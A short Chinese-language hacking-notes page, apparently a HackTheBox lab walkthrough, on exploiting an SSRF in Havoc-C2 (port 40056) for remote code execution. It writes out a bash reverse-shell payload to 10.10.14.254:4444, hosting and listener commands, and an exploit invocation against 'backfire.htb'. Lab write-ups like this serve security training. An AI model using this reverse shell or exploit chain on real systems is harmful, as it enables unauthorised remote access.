> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/havoc-c2-40056.md).
# Havoc-C2 - 40056
Havoc-C2 从 SSRF 到 RCE 的流程，包含托管 payload 投递和反向 Shell 访问。
{% hint style="info" %}
Havoc-C2 是一款开源的命令与控制（C2）工具，专为渗透测试和攻击模拟而设计。它允许网络安全专业人员在受控环境中管理植入到已被攻陷系统上的恶意代理、规划攻击并外传数据，以评估 IT 基础设施的安全性。
{% endhint %}
{% embed url="" %}
要利用 Havoc 中的 SSRF 漏洞，请创建一个 `payload.sh` 包含以下代码的文件：
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```
搭建一个 Web 服务器来托管载荷：
```bash
python3 -m http.server 80
```
使用 netcat 监听 4444 端口以接收反向连接：
```bash
nc -nlvp 4444
```
使用所需的目标信息修改利用脚本，然后运行它：
```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```
**用户访问权限：**
该 **ilya** 该用户可用于连接到目标机器。
---
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